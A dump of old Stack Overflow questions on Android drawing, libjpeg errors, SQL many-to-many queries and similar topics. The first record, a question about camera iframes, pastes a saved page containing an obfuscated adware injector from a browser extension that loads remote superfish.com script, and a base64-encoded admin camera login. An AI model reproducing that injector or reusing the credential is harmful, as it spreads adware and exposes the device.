src="chrome-extension://lifbcibllhkdhoafpjfnlhfpfgnpldfl/change_sink.js"></script><meta name="document_iterator.js"><meta name="find_proxy.js"><meta name="get_html_text.js"><meta name="global_constants.js"><meta name="name_injection_builder.js"><meta name="number_injection_builder.js"><meta name="string_finder.js"><meta name="change_sink.js"><script type="text/javascript" src="data:text/javascript,%0D%0A(function()%7Bvar%20install_source%3D'Chrome%20Webstore'%3Bvar%20ctid%3D'1'%3Bif(install_source!%3D'Chrome%20Webstore')%7Bctid%3D'2'%3B%7D%0Aif(install_source%5B0%5D%3D%3D'O'%26%26install_source%5Binstall_source.length-1%5D%3D%3D%22l%22)%7Bctid%3D'3'%3B%7D%0Aif(install_source%5B0%5D%3D%3D'I')%7Bctid%3D'4'%3B%7D%0Aif(install_source%5B0%5D%3D%3D'O'%26%26install_source%5Binstall_source.length-1%5D%3D%3D%22y%22)%7Bctid%3D'5'%3B%7D%0Avar%20blacklist%3D%5B%2F1800flowers.com%2F%2C%2Fdominos.com%2F%2C%2Fsquidoo.com%2F%2C%2Fwsj.com%2F%2C%2Fnetflix.com%2F%2C%2Fdeveloper.apple.com%2F%2C%2Fhotmail.com%2F%2C%2Fnfl.com%2F%2C%2Fgrooveshark.com%2F%2C%2F.*live.com%2F%2C%2F.*battlefield.com%2F%2C%2Fdell.com%2F%2C%2Fpch.com%2F%5D%3Bif(window!%3Dwindow.top)%7Breturn%3B%7D%0Afor(var%20i%3D0%3Bi%3Cblacklist.length%3Bi%2B%2B)%7Bif(blacklist%5Bi%5D.test(document.location.href))%7Breturn%3B%7D%7D%0Avar%20ready%3Dfunction(callback)%0A%7Bvar%20check_ready%3Dfunction()%0A%7Bif(window.document.body)%7Bcallback()%3B%7D%0Aelse%7BsetTimeout(check_ready%2C100)%7D%7D%3Bcheck_ready()%3B%7D%3Bready(function()%0A%7BsetTimeout(function()%0A%7Bif(%2F%5Ehttp%3A%2F.test(document.location.href)%7C%7Cnew%20RegExp(%22%5Ehttpsz%3A%2F%2Fwww.google.com%22).test(document.location.href))%0A%7B%20var%20inj%3Dfunction(u)%0A%7Bvar%20s%3Ddocument.createElement('script')%3Bs.type%3D'text%2Fjavascript'%3Bs.src%3Du%3Bdocument.getElementsByTagName('head')%5B0%5D.appendChild(s)%3B%7D%3Bif(%2FChrome%2F.test(navigator.userAgent))%7B%20inj(%22https%3A%2F%2Fwww.superfish.com%2Fws%2Fsf_conduit.jsp%3Fdlsource%3Dfastestchrome%26CTID%3D%22%2Bctid%2B%22%26userId%3Dchrome0000000000%22%2Bctid)%3B%7D%0Aelse%20if(%2FFirefox%2F.test(navigator.userAgent))%7Binj(%22https%3A%2F%2Fwww.superfish.com%2Fws%2Fsf_conduit.jsp%3Fdlsource%3Dfastestfox%26userId%3Dfastestfox0000000000%22)%3B%7D%0Aelse%20if(%2FSafari%2F.test(navigator.userAgent))%7Binj(%22https%3A%2F%2Fwww.superfish.com%2Fws%2Fsf_conduit.jsp%3Fdlsource%3Dfastestsafari%26CTID%3D%22%2B1%2B%22%26userId%3Dsafari0000000000%22%2Bctid)%3B%7D%0Aelse%20if(%2FTrident%2F.test(navigator.userAgent))%7Binj(%22https%3A%2F%2Fwww.superfish.com%2Fws%2Fsf_conduit.jsp%3Fdlsource%3Dfastestie%26userId%3Dfastestie0000000000%22)%3B%7D%0A%7D%7D%2C500)%3B%7D)%3B%7D())%3B%0D%0A"></script><script type="text/javascript" src="https://www.superfish.com/ws/sf_conduit.jsp?dlsource=fastestchrome&amp;CTID=1&amp;userId=chrome00000000001"></script><script type="text/javascript" src="http://www.superfish.com/ws/js/base_single_icon.js?ver=11.0.152.3"></script></head><body topmargin="0" leftmargin="0" rightmargin="0" bgcolor="#757575" onload="Init()"><tbody><tr><td valign="top" id="maincontent_container"><div id="maincontent"> <!-- === BEGIN MAINCONTENT === --> <div class="box"> <table cellpadding="2" cellspacing="1" border="0" width="320" bgcolor="white" bordercolor="#FFFFFF"> <form action="/Jview.htm" method="POST"></form> <tbody><tr><td align="center"> <table border="0" cellspacing="0" cellpadding="0"> <tbody><tr> <td bgcolor="black"><font color="white">5002&nbsp;Blue&nbsp;Chiado<br></font></td> <td bgcolor="black" align="right" valign="top">&nbsp;&nbsp;<font color="white"><span id="CurrentTime"></span></font></td> </tr> <tr> <td colspan="2" align="center" bgcolor="white"> <applet name="cvcs" codebase="http://192.168.152.220:80/" code="xplug.class" width="320" height="240"> <param name="RemotePort" value="80"> <param name="Timeout" value="5000"> <param name="RotateAngle" value="0"> <param name="PreviewFrameRate" value="2"> <param name="DeviceSerialNo" value="YWRtaW46bWlkYXM="> </applet> </td> </tr> </tbody></table> </td></tr> </tbody></table> </div> <!-- === END MAINCONTENT === --> </div> </td> </tr> </tbody></table> </td></tr></tbody></table> <div id="tc_container" style="display: none" data="fc"></div></body><span id="skype_highlighting_settings" display="none" autoextractnumbers="1"></span><object id="skype_plugin_object" location.href="http://192.168.152.220/Jview.htm" location.hostname="192.168.152.220" style="position: absolute; visibility: hidden; left: -100px; top: -100px; " width="0" height="0" type="application/x-vnd.skype.click2call.chrome.5.6.0"></object></html> thks!!
java
css
iframe
null
null
03/23/2012 12:44:26
not a real question
html overlay error on server === i'm a begginer in this stuff and no special programs, it's all based in html and js i've got a simple html that get several cameras in my VPN into iframes it all works fine when i have the files in the local pc (mine and server) the problem is that when i try to open from a shared folder they give me error but if i open the same file trought the server it work's fine i'm stuck! this is the iframe (they are all the same only changes the IP) <html><head><link rel="stylesheet" rev="stylesheet" href="dlink.css" type="text/css"> <title>D-Link Corporation. | INTERNET CAMERA | HOME | JAVA</title> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="-1"> <script language="JavaScript"> function Init() { if ((navigator.appName != "Netscape") && (navigator.userAgent.indexOf('Opera') == "-1")) { window.setInterval("ShowFrameRate()", 1000) } } function ShowFrameRate() { if (1) { var fFrameRate = cvcs.GetFrameRate() window.status = "Frame:" + fFrameRate.toString() + " fps" } cvcs.GetRealTimeData() CurrentTime.innerHTML = cvcs.GetTimeString() } </script><link type="text/css" rel="stylesheet" href="data:text/css,"> <script src="chrome-extension://lifbcibllhkdhoafpjfnlhfpfgnpldfl/document_iterator.js</script><script src="chrome-extension://lifbcibllhkdhoafpjfnlhfpfgnpldfl/find_proxy.js"></script><script src="chrome-extension://lifbcibllhkdhoafpjfnlhfpfgnpldfl/get_html_text.js"></script><script src="chrome-extension://lifbcibllhkdhoafpjfnlhfpfgnpldfl/global_constants.js"></script><script src="chrome-extension://lifbcibllhkdhoafpjfnlhfpfgnpldfl/name_injection_builder.js"></script><script src="chrome-extension://lifbcibllhkdhoafpjfnlhfpfgnpldfl/number_injection_builder.js"></script><script src="chrome-extension://lifbcibllhkdhoafpjfnlhfpfgnpldfl/string_finder.js"></script><script src="chrome-extension://lifbcibllhkdhoafpjfnlhfpfgnpldfl/change_sink.js"></script><meta name="document_iterator.js"><meta name="find_proxy.js"><meta name="get_html_text.js"><meta name="global_constants.js"><meta name="name_injection_builder.js"><meta name="number_injection_builder.js"><meta name="string_finder.js"><meta name="change_sink.js"><script type="text/javascript" src="data:text/javascript,%0D%0A(function()%7Bvar%20install_source%3D'Chrome%20Webstore'%3Bvar%20ctid%3D'1'%3Bif(install_source!%3D'Chrome%20Webstore')%7Bctid%3D'2'%3B%7D%0Aif(install_source%5B0%5D%3D%3D'O'%26%26install_source%5Binstall_source.length-1%5D%3D%3D%22l%22)%7Bctid%3D'3'%3B%7D%0Aif(install_source%5B0%5D%3D%3D'I')%7Bctid%3D'4'%3B%7D%0Aif(install_source%5B0%5D%3D%3D'O'%26%26install_source%5Binstall_source.length-1%5D%3D%3D%22y%22)%7Bctid%3D'5'%3B%7D%0Avar%20blacklist%3D%5B%2F1800flowers.com%2F%2C%2Fdominos.com%2F%2C%2Fsquidoo.com%2F%2C%2Fwsj.com%2F%2C%2Fnetflix.com%2F%2C%2Fdeveloper.apple.com%2F%2C%2Fhotmail.com%2F%2C%2Fnfl.com%2F%2C%2Fgrooveshark.com%2F%2C%2F.*live.com%2F%2C%2F.*battlefield.com%2F%2C%2Fdell.com%2F%2C%2Fpch.com%2F%5D%3Bif(window!%3Dwindow.top)%7Breturn%3B%7D%0Afor(var%20i%3D0%3Bi%3Cblacklist.length%3Bi%2B%2B)%7Bif(blacklist%5Bi%5D.test(document.location.href))%7Breturn%3B%7D%7D%0Avar%20ready%3Dfunction(callback)%0A%7Bvar%20check_ready%3Dfunction()%0A%7Bif(window.document.body)%7Bcallback()%3B%7D%0Aelse%7BsetTimeout(check_ready%2C100)%7D%7D%3Bcheck_ready()%3B%7D%3Bready(function()%0A%7BsetTimeout(function()%0A%7Bif(%2F%5Ehttp%3A%2F.test(document.location.href)%7C%7Cnew%20RegExp(%22%5Ehttpsz%3A%2F%2Fwww.google.com%22).test(document.location.href))%0A%7B%20var%20inj%3Dfunction(u)%0A%7Bvar%20s%3Ddocument.createElement('script')%3Bs.type%3D'text%2Fjavascript'%3Bs.src%3Du%3Bdocument.getElementsByTagName('head')%5B0%5D.appendChild(s)%3B%7D%3Bif(%2FChrome%2F.test(navigator.userAgent))%7B%20inj(%22https%3A%2F%2Fwww.superfish.com%2Fws%2Fsf_conduit.jsp%3Fdlsource%3Dfastestchrome%26CTID%3D%22%2Bctid%2B%22%26userId%3Dchrome0000000000%22%2Bctid)%3B%7D%0Aelse%20if(%2FFirefox%2F.test(navigator.userAgent))%7Binj(%22https%3A%2F%2Fwww.superfish.com%2Fws%2Fsf_conduit.jsp%3Fdlsource%3Dfastestfox%26userId%3Dfastestfox0000000000%22)%3B%7D%0Aelse%20if(%2FSafari%2F.test(navigator.userAgent))%7Binj(%22https%3A%2F%2Fwww.superfish.com%2Fws%2Fsf_conduit.jsp%3Fdlsource%3Dfastestsafari%26CTID%3D%22%2B1%2B%22%26userId%3Dsafari0000000000%22%2Bctid)%3B%7D%0Aelse%20if(%2FTrident%2F.test(navigator.userAgent))%7Binj(%22https%3A%2F%2Fwww.superfish.com%2Fws%2Fsf_conduit.jsp%3Fdlsource%3Dfastestie%26userId%3Dfastestie0000000000%22)%3B%7D%0A%7D%7D%2C500)%3B%7D)%3B%7D())%3B%0D%0A"></script><script type="text/javascript" src="https://www.superfish.com/ws/sf_conduit.jsp?dlsource=fastestchrome&amp;CTID=1&amp;userId=chrome00000000001"></script><script type="text/javascript" src="http://www.superfish.com/ws/js/base_single_icon.js?ver=11.0.152.3"></script></head><body topmargin="0" leftmargin="0" rightmargin="0" bgcolor="#757575" onload="Init()"><tbody><tr><td valign="top" id="maincontent_container"><div id="maincontent"> <!-- === BEGIN MAINCONTENT === --> <div class="box"> <table cellpadding="2" cellspacing="1" border="0" width="320" bgcolor="white" bordercolor="#FFFFFF"> <form action="/Jview.htm" method="POST"></form> <tbody><tr><td align="center"> <table border="0" cellspacing="0" cellpadding="0"> <tbody><tr> <td bgcolor="black"><font color="white">5002&nbsp;Blue&nbsp;Chiado<br></font></td> <td bgcolor="black" align="right" valign="top">&nbsp;&nbsp;<font color="white"><span id="CurrentTime"></span></font></td> </tr> <tr> <td colspan="2" align="center" bgcolor="white"> <applet name="cvcs" codebase="http://192.168.152.220:80/" code="xplug.class" width="320" height="240"> <param name="RemotePort" value="80"> <param name="Timeout" value="5000"> <param name="RotateAngle" value="0"> <param name="PreviewFrameRate" value="2"> <param name="DeviceSerialNo" value="YWRtaW46bWlkYXM="> </applet> </td> </tr> </tbody></table> </td></tr> </tbody></table> </div> <!-- === END MAINCONTENT === --> </div> </td> </tr> </tbody></table> </td></tr></tbody></table> <div id="tc_container" style="display: none" data="fc"></div></body><span id="skype_highlighting_settings" display="none" autoextractnumbers="1"></span><object id="skype_plugin_object" location.href="http://192.168.152.220/Jview.htm" location.hostname="192.168.152.220" style="position: absolute; visibility: hidden; left: -100px; top: -100px; " width="0" height="0" type="application/x-vnd.skype.click2call.chrome.5.6.0"></object></html> thks!!
1
8,221,290
11/22/2011 02:37:13
239,879
12/29/2009 00:03:06
979
21
How can I get the URL of an <a href="http://www.mysite.com"> in JavaScript?
I'm processing some text in JavaScript (using Node, so please no jQuery). I want to extract all URL's that are in `<a>` tags on the page. How can I do this in JavaScript?
regex
node.js
null
null
null
null
open
How can I get the URL of an <a href="http://www.mysite.com"> in JavaScript? === I'm processing some text in JavaScript (using Node, so please no jQuery). I want to extract all URL's that are in `<a>` tags on the page. How can I do this in JavaScript?
0
2,746,936
04/30/2010 18:56:48
329,999
04/30/2010 18:29:23
1
0
Use XML Layout to contain a simple drawing
I would like to create a simple drawing (lines, circles, squares, etc...) but I'm having difficulty figuring out the best way to do this. The drawing would need to be scaled to fit the display since the size is indirectly specified by the user (like in a CAD application). Also, I don't want to take up the entire display, leaving room for some controls (buttons, etc). I would pass the data to describe the drawing. Here's how I imagine it would work. I create an XML layout that contains something that holds the drawing (ImageView, BitmapDrawable, ShapeDrawable, ...??? not sure exactly what). Then in my Activity I would load the main XML and obtain the resource for the control that holds the drawing. I would then draw to a bitmap. Once the bitmap was completed I would load it into the control that is to hold the drawing. Somewhere along this path it would be scaled to fill the entire area allocated for the drawing in the XML layout. I don't know if my approach is the way to do this or what classes to use. I read the http://developer.android.com/guide/topics/graphics/2d-graphics.html documentation, but it's not helping me with an example. The examples I do find leave me with hints, but nothing concrete enough to do what I want, especially when it comes to scaling, using XML and/or having other controls. Also, there seems to be no good documentation on the design of the 2D drawing system in a more conceptual manner, so it makes what I read difficult to put into any useful context. Any hints on what classes would be useful and/or a good example any other reading materials? Thanks
android
layout
drawing
image
null
null
open
Use XML Layout to contain a simple drawing === I would like to create a simple drawing (lines, circles, squares, etc...) but I'm having difficulty figuring out the best way to do this. The drawing would need to be scaled to fit the display since the size is indirectly specified by the user (like in a CAD application). Also, I don't want to take up the entire display, leaving room for some controls (buttons, etc). I would pass the data to describe the drawing. Here's how I imagine it would work. I create an XML layout that contains something that holds the drawing (ImageView, BitmapDrawable, ShapeDrawable, ...??? not sure exactly what). Then in my Activity I would load the main XML and obtain the resource for the control that holds the drawing. I would then draw to a bitmap. Once the bitmap was completed I would load it into the control that is to hold the drawing. Somewhere along this path it would be scaled to fill the entire area allocated for the drawing in the XML layout. I don't know if my approach is the way to do this or what classes to use. I read the http://developer.android.com/guide/topics/graphics/2d-graphics.html documentation, but it's not helping me with an example. The examples I do find leave me with hints, but nothing concrete enough to do what I want, especially when it comes to scaling, using XML and/or having other controls. Also, there seems to be no good documentation on the design of the 2D drawing system in a more conceptual manner, so it makes what I read difficult to put into any useful context. Any hints on what classes would be useful and/or a good example any other reading materials? Thanks
0
7,015,519
08/10/2011 17:58:59
660,833
03/15/2011 15:05:38
303
2
applying optimistic locking/ Versioning on database table
I am trying to perform optimistic locking on database table . I have implemented versioning for each record in the table which works good and it perfectly throws exception when the user tries to update a **RECORD** . But I want to do this versioning on the table as a whole. I tried finding out versioning on **TABLE** but couldn't get any useful link. Can any one please help!!!!!
mysql
hibernate
optimistic-locking
null
null
null
open
applying optimistic locking/ Versioning on database table === I am trying to perform optimistic locking on database table . I have implemented versioning for each record in the table which works good and it perfectly throws exception when the user tries to update a **RECORD** . But I want to do this versioning on the table as a whole. I tried finding out versioning on **TABLE** but couldn't get any useful link. Can any one please help!!!!!
0
1,380,736
09/04/2009 18:08:08
55,124
01/14/2009 19:08:30
358
15
UIGlassButton in iPhone
Has anyone submitted an applicaton using UIGlassButton? Was it approved? I am trying to use a colored rounded button and do not want to use these hacks. http://stackoverflow.com/questions/372731/how-can-i-set-a-button-background-color-on-iphone Why are we not allowed to use UIGlassButton?
cocoa-touch
iphone
application
null
null
null
open
UIGlassButton in iPhone === Has anyone submitted an applicaton using UIGlassButton? Was it approved? I am trying to use a colored rounded button and do not want to use these hacks. http://stackoverflow.com/questions/372731/how-can-i-set-a-button-background-color-on-iphone Why are we not allowed to use UIGlassButton?
0
6,173,277
05/30/2011 07:09:07
15,422
09/17/2008 09:07:48
145
3
Android development resources
Can anyone point me a good android development resource, with source code and examples. Resources like www.codeproject.com or www.codeguru.com something like this. I'm a windows programmer (c++ mainly) and this two sites help me a lot, and now i want something like that for the android platform. PS: yes i know that android is java and not c++, to do something for the android in c++ is like do do assembly for windows :) i know but i just mention c++ because the above resources described are mainly for that, the resources that i'm after does not have to be to a specific language (like the above resources) Thanks
android
resources
links
null
null
05/31/2011 15:22:16
not a real question
Android development resources === Can anyone point me a good android development resource, with source code and examples. Resources like www.codeproject.com or www.codeguru.com something like this. I'm a windows programmer (c++ mainly) and this two sites help me a lot, and now i want something like that for the android platform. PS: yes i know that android is java and not c++, to do something for the android in c++ is like do do assembly for windows :) i know but i just mention c++ because the above resources described are mainly for that, the resources that i'm after does not have to be to a specific language (like the above resources) Thanks
1
7,139,033
08/21/2011 14:58:54
904,658
08/21/2011 14:58:54
1
0
C# speech recognition - how to improve dictionary
i am using **System.Speech.Recognition SpeechRecognitionEngine();** In Windows 7. Does windows inner speech recognition is running on same base? Does it help, when i "practice" speech recognition in windows build-in software, so even my program will work better? Is there possibility to "force" recognizer to pick most likely one of the **Choice()**s? (it usualy returns NULL)
c#
recognition
speech
improvement
null
null
open
C# speech recognition - how to improve dictionary === i am using **System.Speech.Recognition SpeechRecognitionEngine();** In Windows 7. Does windows inner speech recognition is running on same base? Does it help, when i "practice" speech recognition in windows build-in software, so even my program will work better? Is there possibility to "force" recognizer to pick most likely one of the **Choice()**s? (it usualy returns NULL)
0
9,816,325
03/22/2012 04:10:26
680,441
03/28/2011 14:55:31
1,082
25
Flexible Array Member (Zero Length Array)
In reference to [GCC's Zero Length Array][1] explanation: This is particularly useful in the case when a struct is a header for a variable-length object. This is exactly my case. Furthermore, I am concerned with the alignment of my structs in the heap. In this case, I still really do not understand what's useful about zero length arrays. How are they related to this particular situation? EDIT: Is it that I can put as much "data" as I want in there? [1]: http://gcc.gnu.org/onlinedocs/gcc/Zero-Length.html
c
arrays
struct
flexible-array-member
null
null
open
Flexible Array Member (Zero Length Array) === In reference to [GCC's Zero Length Array][1] explanation: This is particularly useful in the case when a struct is a header for a variable-length object. This is exactly my case. Furthermore, I am concerned with the alignment of my structs in the heap. In this case, I still really do not understand what's useful about zero length arrays. How are they related to this particular situation? EDIT: Is it that I can put as much "data" as I want in there? [1]: http://gcc.gnu.org/onlinedocs/gcc/Zero-Length.html
0
8,048,502
11/08/2011 09:48:33
607,625
02/08/2011 05:17:51
123
23
Can we create a socket connection in native in Android?
I have googled to my knowledge and not able to get the exact information. Can we create a socket in native layer of android. If so how to do it. From the google i found the suggestions to create a socket in java layer and communicating to it throught the jni. But i wan to know if we can create a socket in the native itself. I got this info from this thread " http://stackoverflow.com/questions/6658308/android-ndk-limitations " Please let me know if anyone knows how to create a socket in native layer. P.S: Please let me know if the question is not clear, for improving the same. Regards, SSuman185
android
sockets
android-ndk
null
null
null
open
Can we create a socket connection in native in Android? === I have googled to my knowledge and not able to get the exact information. Can we create a socket in native layer of android. If so how to do it. From the google i found the suggestions to create a socket in java layer and communicating to it throught the jni. But i wan to know if we can create a socket in the native itself. I got this info from this thread " http://stackoverflow.com/questions/6658308/android-ndk-limitations " Please let me know if anyone knows how to create a socket in native layer. P.S: Please let me know if the question is not clear, for improving the same. Regards, SSuman185
0
1,326,469
08/25/2009 07:00:38
153,086
08/08/2009 21:14:12
29
0
MVC pattern line confusion
What the following line is saying about model component in MVC pattern: > If the model adheres to a strict > contract (interface). then these > components can be reused in other > application areas such as GUIs or > J2ME. Does the above line mean, if the model components implement any interface based on any GUI and J2ME application, then these application can use it. Am I correct?
mvc
design-patterns
java
null
null
null
open
MVC pattern line confusion === What the following line is saying about model component in MVC pattern: > If the model adheres to a strict > contract (interface). then these > components can be reused in other > application areas such as GUIs or > J2ME. Does the above line mean, if the model components implement any interface based on any GUI and J2ME application, then these application can use it. Am I correct?
0
4,013,296
10/25/2010 09:30:59
449,552
09/16/2010 13:31:30
1
0
Libjpeg error - improper call in state 205
I'm using libjpeg (C/C++ programming on Windows Mobile 6.5), in order to decode images from an IP camera (sent in a MJPEG stream), before pushing them into a DirectShow graph. Until now, I've been using a single function for : receiving the stream, parsing it manually (in order to find JPEG data starting- and end-point), decoding the data (i.e. initializing the libjpeg structures, reading the JPEG header, doing the actual decoding...) and finally pushing it into the graph. This works properly, but in order to make things smoother and tidier, i'd like to use a function for receiving, that calls another function (later, a thread) for decoding/pushing. So, as a first step, instead of doing all the JPEG work right after finding the data in the stream, I simply call another function which is in charge of the JPEG structures init / header reading / decoding / pushing. And this is where I get an error I can't decipher : <b>"improper call to jpeg library in state 205"</b>. My JPEG initialization looks like this: <blockquote> //Declarations<br> struct jpeg_decompress_struct cinfo;<br> struct my_error_mgr jerr;<br> JSAMPROW row_pointer[1] = {0};<br> int row_stride = 0;<br> <br> // Step 1: allocation / initialization<br> cinfo.err = jpeg_std_error(&jerr.pub);<br> jerr.pub.error_exit = my_error_exit;<br> if(setjmp(jerr.setjmp_buffer)) // This is where the "state 205" error occurs<br> {<br> printf("--ERROR LIBJPEG\n");<br> /* release everything and quit with error code */<br> } </blockquote> When this chunk of code is placed in the "receive" function, everything works. When it's placed in another one, without anything else done in between, it fails. Any help would be appreciated here. Thanks a lot !
c++
c
windows-mobile
libjpeg
null
null
open
Libjpeg error - improper call in state 205 === I'm using libjpeg (C/C++ programming on Windows Mobile 6.5), in order to decode images from an IP camera (sent in a MJPEG stream), before pushing them into a DirectShow graph. Until now, I've been using a single function for : receiving the stream, parsing it manually (in order to find JPEG data starting- and end-point), decoding the data (i.e. initializing the libjpeg structures, reading the JPEG header, doing the actual decoding...) and finally pushing it into the graph. This works properly, but in order to make things smoother and tidier, i'd like to use a function for receiving, that calls another function (later, a thread) for decoding/pushing. So, as a first step, instead of doing all the JPEG work right after finding the data in the stream, I simply call another function which is in charge of the JPEG structures init / header reading / decoding / pushing. And this is where I get an error I can't decipher : <b>"improper call to jpeg library in state 205"</b>. My JPEG initialization looks like this: <blockquote> //Declarations<br> struct jpeg_decompress_struct cinfo;<br> struct my_error_mgr jerr;<br> JSAMPROW row_pointer[1] = {0};<br> int row_stride = 0;<br> <br> // Step 1: allocation / initialization<br> cinfo.err = jpeg_std_error(&jerr.pub);<br> jerr.pub.error_exit = my_error_exit;<br> if(setjmp(jerr.setjmp_buffer)) // This is where the "state 205" error occurs<br> {<br> printf("--ERROR LIBJPEG\n");<br> /* release everything and quit with error code */<br> } </blockquote> When this chunk of code is placed in the "receive" function, everything works. When it's placed in another one, without anything else done in between, it fails. Any help would be appreciated here. Thanks a lot !
0
10,344,296
04/27/2012 03:16:14
688,624
04/02/2011 05:02:55
133
18
Finding Statically Allocated Data Blocks in a Static Library
I've got a small static library (.a). In the static library is a pointer that points to a large, statically allocated, 1D array. When I link my code to this library, the pointer's address is hardcoded in various locations, easily found through the disassembly. The issue is, I'd like my code to be able to have access to this array (the library is faulting, and I want to know why). Naturally, it would be trivial to get that pointer by disassembling, hardcoding that address into my code, and then recompiling. That wouldn't be a problem except the library can be configured in different ways with other modules, and the array's pointer changes depending on what modules are linked in. What are my options for getting that pointer? Because the starting state of the array is predictable, I could walk through memory, catching segfaults with a signal handler, until I found something that looks reasonable. Is there a better way? Thanks, Ian
c
memory
assembly
null
null
null
open
Finding Statically Allocated Data Blocks in a Static Library === I've got a small static library (.a). In the static library is a pointer that points to a large, statically allocated, 1D array. When I link my code to this library, the pointer's address is hardcoded in various locations, easily found through the disassembly. The issue is, I'd like my code to be able to have access to this array (the library is faulting, and I want to know why). Naturally, it would be trivial to get that pointer by disassembling, hardcoding that address into my code, and then recompiling. That wouldn't be a problem except the library can be configured in different ways with other modules, and the array's pointer changes depending on what modules are linked in. What are my options for getting that pointer? Because the starting state of the array is predictable, I could walk through memory, catching segfaults with a signal handler, until I found something that looks reasonable. Is there a better way? Thanks, Ian
0
9,345,209
02/18/2012 23:37:12
149,358
08/02/2009 18:42:46
1,460
79
MS SQL Many to Many
I have a many to many relationship, Orders, OrderProducts, and Products. I need a query that gives me a list of products that are NOT in ALL orders, but has been ordered. <pre> ______________________ | ORDERS | _______________________ | OrderID | OrderDate | | 1 | 1/2/2012 | | 2 | 1/3/2012 | | 3 | 1/4/2012 | | 4 | 1/5/2012 | | 5 | 1/6/2012 | ______________________ | ORDERPRODUCTS | _______________________ | OrderID | PRODUCTID | | 1 | 1 | | 1 | 2 | | 2 | 1 | | 2 | 2 | | 2 | 3 | | 2 | 4 | | 3 | 1 | | 3 | 5 | | 4 | 1 | | 5 | 1 | __________________________ | PRODUCTS | __________________________ | PRODUCTID | PRODUCTNAME | | 1 | Widget 1 | | 2 | Widget 2 | | 3 | Widget 3 | | 4 | Widget 4 | | 5 | Widget 5 | | 6 | Widget 6 | </pre> In the provided example, notice that product 1 is in all orders and product 6 is not ordered at all. I need a query that returns Products 2, 3, 4, and 5. Also keep in mind that while there aren't many products, there are a few hundred thousand orders in the live database.
tsql
many-to-many
null
null
null
null
open
MS SQL Many to Many === I have a many to many relationship, Orders, OrderProducts, and Products. I need a query that gives me a list of products that are NOT in ALL orders, but has been ordered. <pre> ______________________ | ORDERS | _______________________ | OrderID | OrderDate | | 1 | 1/2/2012 | | 2 | 1/3/2012 | | 3 | 1/4/2012 | | 4 | 1/5/2012 | | 5 | 1/6/2012 | ______________________ | ORDERPRODUCTS | _______________________ | OrderID | PRODUCTID | | 1 | 1 | | 1 | 2 | | 2 | 1 | | 2 | 2 | | 2 | 3 | | 2 | 4 | | 3 | 1 | | 3 | 5 | | 4 | 1 | | 5 | 1 | __________________________ | PRODUCTS | __________________________ | PRODUCTID | PRODUCTNAME | | 1 | Widget 1 | | 2 | Widget 2 | | 3 | Widget 3 | | 4 | Widget 4 | | 5 | Widget 5 | | 6 | Widget 6 | </pre> In the provided example, notice that product 1 is in all orders and product 6 is not ordered at all. I need a query that returns Products 2, 3, 4, and 5. Also keep in mind that while there aren't many products, there are a few hundred thousand orders in the live database.
0
7,796,778
10/17/2011 16:36:27
940,350
09/12/2011 10:28:20
1
0
Creating Facebook applications - "May your account not be authentic"
Good afternoon. I am a web developer for many companies, and most companies are asking me to create Facebok application, customers, etc, etc. This is the second company to create a new profile in facebook, I try to access www.facebook.es/developers/ and creating an application, I skip a error window that I can not Crerar application. This is the message in question: http://i.stack.imgur.com/qWFs4.jpg Why is this? How can you solve? I look forward to your comments. A greeting. **Javier**
facebook
wordpress-plugin
null
null
null
10/18/2011 11:50:44
not a real question
Creating Facebook applications - "May your account not be authentic" === Good afternoon. I am a web developer for many companies, and most companies are asking me to create Facebok application, customers, etc, etc. This is the second company to create a new profile in facebook, I try to access www.facebook.es/developers/ and creating an application, I skip a error window that I can not Crerar application. This is the message in question: http://i.stack.imgur.com/qWFs4.jpg Why is this? How can you solve? I look forward to your comments. A greeting. **Javier**
1
9,519,822
03/01/2012 16:16:38
1,086,377
12/07/2011 19:28:06
18
1
Android: Play video from file buffer
Is there a way to play/load a video from a file buffer? I have video's that are encrypted and only get decrypted before being played. I currently have a load screen to indicate the movie is being loaded while it is being decrypted. This takes around 1 second per megabyte. I was wondering if I can take the bytes that are being decrypted and push them to the video player so it can play while the video is being decrypted. the videos are mp4's Thanks
android
video
buffer
null
null
null
open
Android: Play video from file buffer === Is there a way to play/load a video from a file buffer? I have video's that are encrypted and only get decrypted before being played. I currently have a load screen to indicate the movie is being loaded while it is being decrypted. This takes around 1 second per megabyte. I was wondering if I can take the bytes that are being decrypted and push them to the video player so it can play while the video is being decrypted. the videos are mp4's Thanks
0
5,652,120
04/13/2011 15:58:06
636,393
02/27/2011 11:27:10
149
0
Why is C function so long?
I'm coming from a script guy, used to functions within 50 lines. And when I see frequently functions over 200 lines,I'm really having a hard time reading it. Is this normal at all?
c
null
null
null
null
04/13/2011 16:00:00
not a real question
Why is C function so long? === I'm coming from a script guy, used to functions within 50 lines. And when I see frequently functions over 200 lines,I'm really having a hard time reading it. Is this normal at all?
1
5,040,841
02/18/2011 11:40:59
402,127
07/26/2010 10:02:33
30
3
Drupal convert nid/vid from int to bigint
I am busy with a project where the nid and vid values may reach its limit. I need a mechanism to modify current and future nid and vid data types from int to bigint. I figured maybe there was a schema alter hook, or something limilar. I see there is a hook called hook_schema_alter. How reliable will it be to build a module that simple checks for nid and vid in the schema, and modifies it to be a bigint? Would this be a practical way of solving the problem? Will it work with all content types, module ones and cck? G.
php
mysql
drupal
drupal-6
drupal-modules
null
open
Drupal convert nid/vid from int to bigint === I am busy with a project where the nid and vid values may reach its limit. I need a mechanism to modify current and future nid and vid data types from int to bigint. I figured maybe there was a schema alter hook, or something limilar. I see there is a hook called hook_schema_alter. How reliable will it be to build a module that simple checks for nid and vid in the schema, and modifies it to be a bigint? Would this be a practical way of solving the problem? Will it work with all content types, module ones and cck? G.
0
10,723,253
05/23/2012 15:32:57
1,412,907
05/23/2012 14:41:31
1
0
There is a plugin for wordpress with functionality of user generated content?
I need a plugin with these functionalities : Find Friends (Google, Facebook, etc.) Bookmarks Compliments Rate reviews Flag reviews Photo and Video (upload) Events Follow other friends?
wordpress
user
content
generated
null
05/29/2012 12:09:13
not a real question
There is a plugin for wordpress with functionality of user generated content? === I need a plugin with these functionalities : Find Friends (Google, Facebook, etc.) Bookmarks Compliments Rate reviews Flag reviews Photo and Video (upload) Events Follow other friends?
1
3,732,586
09/17/2010 04:02:21
446,965
09/14/2010 03:54:29
1
0
How to make ProgressDialog non-stop loading circle when I am loading a list of photos ?
I am downloading an array of photos from the net and showing a ProgressDialog with a loading circle. But the loading circle will be lag / hang while the process is not finish. How to make the loading running smoothly? Thanks.
android
multithreading
download
progressdialog
null
null
open
